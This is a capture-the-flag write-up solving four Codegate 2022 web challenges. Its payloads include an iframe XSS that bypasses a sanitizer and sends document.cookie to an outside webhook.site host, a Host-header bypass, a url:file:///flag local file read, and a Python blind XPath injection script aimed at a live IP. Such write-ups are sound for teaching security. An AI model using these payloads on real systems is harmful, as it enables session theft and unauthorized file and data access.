CAFE
Unintended Solution
If you check the source code of
bot.py
, you can find the password of the accountadmin
. So, you can login via that information and get flag.Intended Solution
I solved this challenge in Intended way after solved all web challenges.
If you check
/libs/util.php
, you can find thefilterHtml
function which is used for the safe html sanitizing. The part you need to see isiframe
.case 'iframe': $src = $element->src; $host = parse_url($src)['host']; if (strpos($host, 'youtube.com') !== false){ $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>'; } break;
It's checking
$host
which is returned byparse_url
function. And this return vaule must beyoutube.com
. And it set iframe's src attribute$src
. As we can usejavascript:
scheme andparse_url
takesyoutube.com
as host when we abuse likejavascript://youtube.com
, we can bypass this sanitizer easily. By thejavascript:
scheme treats//
as a comment, we can makeyoutube.com
as just a comment and can use new line charater for activating javascript again.So, the payload is
<iframe src="javascript://youtube.com/%0alocation='https://webhook.site/29eb4b3e-db17-40a9-90e9-2097648d43b0/'%2bdocument.cookie"></iframe><iframe src="javascript://youtube.com/%0alocation='https://webhook.site/29eb4b3e-db17-40a9-90e9-2097648d43b0/'%2bdocument.cookie"></iframe>
After using this payload, you can get the admin's session and can get flag.
Flag:
codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}
Superbee
This challenge is using beego
library for hosting the web site. And this library supports the AutoRouter
which is very interesting and I could find a official documentation for this at beedoc/router.md at master · beego/beedoc · GitHub. So, I could understand how the router works. The objective was quite clear. First, we need to access AdminController
's AuthKey
function for getting the encrypted auth_key
. But there was a filtering about the domain
if you check the BaseController
.
func (this *BaseController) Prepare() {
controllerName, _ := this.GetControllerAndAction()
session := this.Ctx.GetCookie(Md5("sess"))
if controllerName == "MainController" {
if session == "" || session != Md5(admin_id + auth_key) {
this.Redirect("/login/login", 403)
return
}
} else if controllerName == "LoginController" {
if session != "" {
this.Ctx.SetCookie(Md5("sess"), "")
}
} else if controllerName == "AdminController" {
domain := this.Ctx.Input.Domain()
if domain != "localhost" {
this.Abort("Not Local")
return
}
}
}
At this time, I could realize that I can bypass this domain checking logic by changing Host
in request packet. So, I just changed host like Host: localhost
and I can access to /admin/authkey
. The encrypted auth_key is 00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607
and I could decrypt this easily.
from Crypto.Cipher import AES
enc = bytearray.fromhex('00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607')
key = b'\x10' * 16
iv = b'\x10' * 16
enc = bytes(enc)
aes = AES.new(key, AES.MODE_CBC,iv)
p = aes.decrypt(enc)
print(p.hex())
The auth_key
was Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d
and we can get flag by making cookie following below logic.
func (this *LoginController) Auth() {
id := this.GetString("id")
password := this.GetString("password")
if id == admin_id && password == admin_pw {
this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)
this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
return
}
this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}
Flag: codegate2022{d9adbe86f4ecc93944e77183e1dc6342}
babyFirst
If you decompile MemoServlet.class
, you can find the function lookupImg
. Which is a function gets the content of url that I provided.
private static String lookupImg(String memo) {
Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
Matcher matcher = pattern.matcher(memo);
String img = "";
if (!matcher.find()) {
return "";
}
img = matcher.group();
String tmp = img.substring(1, img.length() - 1);
tmp = tmp.trim().toLowerCase();
pattern = Pattern.compile("^[a-z]+:");
matcher = pattern.matcher(tmp);
if (!matcher.find() || matcher.group().startsWith("file")) {
return "";
}
String urlContent = "";
try {
final URL url = new URL(tmp);
final BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
urlContent = urlContent + inputLine + "\n";
}
in.close();
}
catch (Exception e) {
return "";
}
final Base64.Encoder encoder = Base64.getEncoder();
try {
final String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
return memo;
}
catch (Exception e2) {
return "";
}
}
This function treats the [link]
as an image link and get contents via StreamReader. So, if we use file
scheme, we can get flag. But, there is a pattern checking logic for file
scheme by using .startsWith
. This means when we make our link does not start with file
but it worked with file
, we can get file. So, I started to read about many documents and source codes of libraries. And I found this - jdk11/URL.java at master · openjdk/jdk11 · GitHub.
if (spec.regionMatches(true, start, "url:", 0, 4)) {
start += 4;
}
The URL
class checks that url starts with url:
and if it is, the function treats that it's not real start of address. So, it just add 4
for getting real url.
At this time, we can use file
scheme for getting flag like [url:file:///flag]
and this was my actual payload.
Flag: codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}
myblog
If you decompile blogServlet.class
, you can found a function doReadArticle
which has XPATH Injection.
private String[] doReadArticle(final HttpServletRequest req) {
final String id = (String)req.getSession().getAttribute("id");
final String idx = req.getParameter("idx");
if ("null".equals(id) || idx == null) {
return null;
}
final File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
try {
final InputSource is = new InputSource(new FileInputStream(userArticle));
final Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
final XPath xpath = XPathFactory.newInstance().newXPath();
String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
title = this.decBase64(title.trim());
content = this.decBase64(content.trim());
return new String[] { title, content };
}
catch (Exception e) {
System.out.println(e.getMessage());
return null;
}
}
And also, you can find the flag is defined in catalina.properties
via Dockerfile.
FROM ubuntu:20.04
RUN apt-get -y update && apt-get -y install software-properties-common
RUN apt-get install -y openjdk-11-jdk
RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/
COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/
COPY start.sh /start.sh
RUN chmod +x /start.sh
RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties
CMD ["/start.sh"]
If you find about catalina.properties
, you will realize that the variables defined at this file is treat as system properties (apache - Tomcat 7 - where do I set 'system properties'? - Stack Overflow). So, I started to find about the XPATH function releated with system properties. I could find system-property - XPath | MDN and this worked on me. So, I could get one letter of flag at a time via XPATH Injection.
Payload:
import requests
from string import ascii_lowercase, digits
SESSION = {'JSESSIONID':'72A44ADB9B62B1F392717BA9A31E06D4'}
flag = ''
for i in range(34+len('codegate2022')):
for x in ascii_lowercase+digits+'{}':
conn = requests.get('http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27'+flag+x+'%27)%20and%20@idx=%271', cookies=SESSION)
r1 = conn.text
if 'test' in r1:
flag += x
print(flag)
break
Flag: codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}